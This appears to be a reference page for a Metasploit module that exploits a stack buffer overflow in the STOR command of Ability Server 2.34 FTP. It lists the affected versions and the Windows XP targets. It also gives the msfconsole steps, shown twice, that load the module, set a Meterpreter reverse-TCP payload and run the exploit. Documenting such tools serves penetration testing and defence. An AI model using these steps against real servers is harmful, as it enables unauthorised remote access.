Ability Server 2.34 STOR Command Stack Buffer Overflow
This module exploits a stack-based buffer overflow in Ability Server 2.34. Ability Server fails to check input size when parsing 'STOR' and 'APPE' commands, which leads to a stack based buffer overflow. This plugin uses the 'STOR' command. The vulnerability has been confirmed on version 2.34 and has also been reported in version 2.25 and 2.32. Other versions may also be affected.
Exploit Rank
- Normal
Exploit Authors
- muts < >
- Dark Eagle < >
- Peter Osterberg < >
Vulnerability References
Exploit Targets
- 0 - Windows XP SP2 ENG
- 1 - Windows XP SP3 ENG
Exploit Development
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Exploit Usage Information
$ msfconsole
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msf > use exploit/windows/ftp/ability_server_stor
msf exploit(ability_server_stor) > show payloads
msf exploit(ability_server_stor) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ability_server_stor) > set LHOST [MY IP ADDRESS]
msf exploit(ability_server_stor) > set RHOST [TARGET IP]
msf exploit(ability_server_stor) > show targets
msf exploit(ability_server_stor) > set TARGET [TARGET ID]
msf exploit(ability_server_stor) > exploit
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msf > use exploit/windows/ftp/ability_server_stor
msf exploit(ability_server_stor) > show payloads
msf exploit(ability_server_stor) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ability_server_stor) > set LHOST [MY IP ADDRESS]
msf exploit(ability_server_stor) > set RHOST [TARGET IP]
msf exploit(ability_server_stor) > show targets
msf exploit(ability_server_stor) > set TARGET [TARGET ID]
msf exploit(ability_server_stor) > exploit
Exploit Module Options
| FTPPASS | Valid FTP password for username (default: ftp) |
| FTPUSER | Valid FTP username (default: ftp) |
| RHOST | The target address |
| RPORT | The target port (default: 21) |
| CHOST | The local client address |
| CPORT | The local client port |
| ConnectTimeout | Maximum number of seconds to establish a TCP connection |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| FTPDEBUG | Whether or not to print verbose debug statements |
| FTPTimeout | The number of seconds to wait for a reply from an FTP command |
| Proxies | Use a proxy chain |
| SSL | Negotiate SSL for outgoing connections |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |
| TCP::max_send_size | Maxiumum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |